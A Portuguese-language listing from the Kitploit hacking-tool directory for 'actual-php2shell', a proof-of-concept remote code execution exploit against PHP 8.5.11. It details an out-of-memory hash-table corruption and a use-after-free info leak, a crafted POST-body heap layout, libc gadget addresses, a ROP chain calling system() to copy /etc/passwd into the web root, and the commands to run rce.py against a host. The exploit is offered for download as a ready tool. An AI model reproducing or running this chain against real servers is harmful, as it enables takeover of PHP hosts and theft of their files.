Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
actual-php2shell — 🤖 Não, existe uma forma fácil de explorar esta vulnerabilidade! (vibecoded para provar um ponto) | Kitploit
Ferramentas/GitHubGitHub/cookiengineer/actual-php2shell
Segurança de ContêineresForensia de MemóriaAnálise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodePapers e PesquisaExploração de Binários
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 Não, existe uma forma fácil de explorar esta vulnerabilidade! (vibecoded para provar um ponto)

Ver Repositório
1763há 17h 40mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

actual-php2shell

Um PoC de execução remota de código reproduzível e independente da aplicação contra o PHP 8.5.11 (os avisos de outubro de 2026). Ele transforma os dois avisos de corrupção de memória do PHP de 2026 em system("cat /etc/passwd") com nenhum código de aplicação — o index.php da vítima apenas ecoa ok.

  • CVE-2026-109618 — o longjmp de OOM abandona uma HashTable meio construída, deixando um bucket pendente que o shutdown destrói. Esta é a primitiva de RCE.
  • CVE-2026-109619 — o estado de erro pertencente à requisição (o backtrace de erro fatal) sobrevive ao shutdown da requisição e é liberado novamente pela próxima requisição. Esta é a primitiva de vazamento de informações / bypass de ASLR (uma demonstração separada aqui).

Tudo é totalmente reproduzível em contêineres Podman. O resultado ponta a ponta confirmado é ./exploits/cve-2026-109618-oom/rce.py lendo /etc/passwd.


1. A vulnerabilidade (CVE-2026-109618)

Quando o PHP fica sem memória, ele chama zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp). No 8.5.11 a inserção na tabela hash não é passível de falha de alocação, então um OOM pode desenrolar com uma HashTable meio modificada.

O local de corrupção é o add_to_hash de _zend_hash_str_add_or_update_i() (Zend/zend_hash.c:960):

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

Se a cópia da chave zend_string_init sofrer OOM, o bucket p fica não escrito (key/h/val todos obsoletos), mas nNumUsed já foi incrementado. No encerramento da requisição, zend_array_destroy() percorre nNumUsed buckets e chama i_zval_ptr_dtor(&p->val) sobre o val lixo do bucket não escrito — um valor moldado pelo atacante. A correção da 8.5.12 substitui cada uma dessas alocações por variantes falíveis (femalloc/fperealloc2 + HASH_FALLIBLE) para que a inserção retorne de forma limpa em vez de abortar.

2. O equilíbrio do grafo de objetos / heap-feng-shui

O exploit consiste inteiramente em fazer com que um bloco controlado de 2560 bytes seja o arData da HashTable cujo último bucket é o bucket de OOM. Os valores que tiveram de ser equilibrados, e por quê:

Tipo / variávelTamanhoPapel
cabeçalho zend_array (HashTable)56 BarData, nNumUsed, nTableSize, pDestructor
Bucket32 Bval(16) + h(8) + key(8); o não escrito é o nosso alvo
zval16 Bvalue(8) + u1.type_info(4) + u2(4) — definimos type_info
zend_stringcabeçalho de 24 B + dadoso valor de preenchimento; seu comprimento escolhe o bin do alocador
zend_object56 Bobjeto falso: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj é o gadget de pivô
zend_mm_heap / zend_mm_chunk—free_slot[], free_tail, map[] (bin 28 = 2560 B)

Os dois fatos do alocador dos quais todo o feng-shui depende:

  1. O arData de uma tabela de 64 buckets tem exatamente 2560 bytes = bin 28 (HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560), porque HT_SIZE_TO_MASK(n) = -(2n).
  2. b150 (percorrido) e b0e0 (descartado) são duas cópias de $_POST["a"] criadas pelo caminho SEPARATE_ARRAY/indireto da symtable; cada campo a[<large>][c]=v insere a chave <large> em ambos, e b0e0 está sempre 1 chave à frente. Apenas b150 é destruído por php_request_shutdown, então o OOM deve recair sobre b150.

3. A cadeia completa (ver rce.py)

O corpo da requisição é um POST urlencoded:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. memshift (~40 KB) consome apenas memória suficiente para que o OOM dispare na primeira inserção do campo OOM, ou seja, em b150 (a tabela percorrida), não no b0e0 descartado.
  2. pad=<2528 B>: add_post_var faz estrndup(A) e depois ZVAL_STRINGL_FAST(B, copy). Medido B = padlen + 32, então padlen=2528 resulta em A = 2529 e B = 2560 — ambos bin 28. A é liberado pelo caminho estrndup.
  3. pad=x (chave duplicada) aplica DTOR à cópia retida B, liberando um segundo, distinto slot bin-28. Agora o redimensionamento 32→64 de b150 reutiliza B — nossos bytes controlados tornam-se o arData de b150.
  4. Os bytes de pad colocam o payload na cauda controlada do arData (buckets 46–63, offset bruto ≥ 1984) — não no offset 0x100, que é o array de hash reescrito por zend_hash_rehash.
  5. O bucket não escrito (offset bruto 1952 = offset de pad 1928) é definido como IS_OBJECT com value.obj = &fake_object.
  6. O shutdown o percorre: i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt"); um GET /leak.txt subsequente retorna o arquivo.

Dois requisitos sutis que custaram tempo real de depuração (ambos em rce.py):

  • O objeto falso/ROP deve ficar na cauda do arData; o offset de pad 0x100 é o array de hash e é sobrescrito.
  • __libc_system usa movaps (alinhado a 16 bytes), então um gadget ret extra é inserido entre pop rdi; ret e system — caso contrário, ocorre SIGSEGV dentro de __libc_system antes de execve.

4. Endereços alvo (ASLR desativado, setarch -R)

Medidos contra php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). As bases libphp/libc são as mesmas em toda a build base; o offset de heap B muda com as libs instaladas (a instalação do gdb o moveu), então re-meça B para uma imagem diferente, ou resolva-o via o info-leak para ASLR ativado.

SímboloEndereço
base libphp0x7ffff4400000
base libc0x7ffff7cd4000
system0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+0x277e5)
ret0x7ffff7cfb7e6
pivot (jump_fcontext+0x2e)0x7ffff49fb8ae
main chunk ([anon:zend_alloc])0x7ffff7200000
B (bloco bruto arData = b150->arData - 512)0x7ffff725e400
handlers falsosB + 24 + 2000 = 0x7ffff725ebe8
objeto falsoB + 24 + 2048 = 0x7ffff725ec18
string cmdB + 24 + 2200 = 0x7ffff725ecb0

A cadeia ROP (relativa ao objeto falso, o):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. Reproduzir

Requer Podman. A partir da raiz do repositório:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

Esperado resultado:

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Outras demos

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf

# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak

# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh

6. Estrutura do repositório

Baixar ferramenta